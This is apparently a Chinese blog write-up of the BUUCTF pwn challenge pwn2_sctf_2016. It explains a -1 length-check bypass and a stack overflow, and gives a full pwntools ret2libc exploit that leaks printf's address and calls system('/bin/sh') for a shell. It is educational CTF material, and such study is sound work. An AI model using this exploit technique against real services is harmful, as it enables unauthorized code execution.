BUUCTF-pwn2_sctf_2016

最新推荐文章于 2025-03-21 09:47:34 发布

原创最新推荐文章于 2025-03-21 09:47:34 发布 · 202 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#算法 #pwn #linux

BUUCTF 专栏收录该内容

34 篇文章

订阅专栏

本文介绍了一个CTF挑战赛中的pwn2_sctf_2016题目的解题思路及EXP代码实现。通过利用-1输入绕过长度限制，结合printf函数泄露libc地址，最终使用system调用/bin/sh获得shell。适用于想要了解CTF安全挑战赛中pwn题目解法的学习者。

1.chwcksec

2.IDA

无符号Int,输入-1进行溢出 ,绕过长度限制

利用printf函数泄露libc,利用system('bin/sh')

3.EXP

from pwn import *
from LibcSearcher import *

r=remote("node4.buuoj.cn",27523)
elf=ELF('./pwn2_sctf_2016')

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)

offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)

r.interactive()

在读入的时候输入-1,具体交互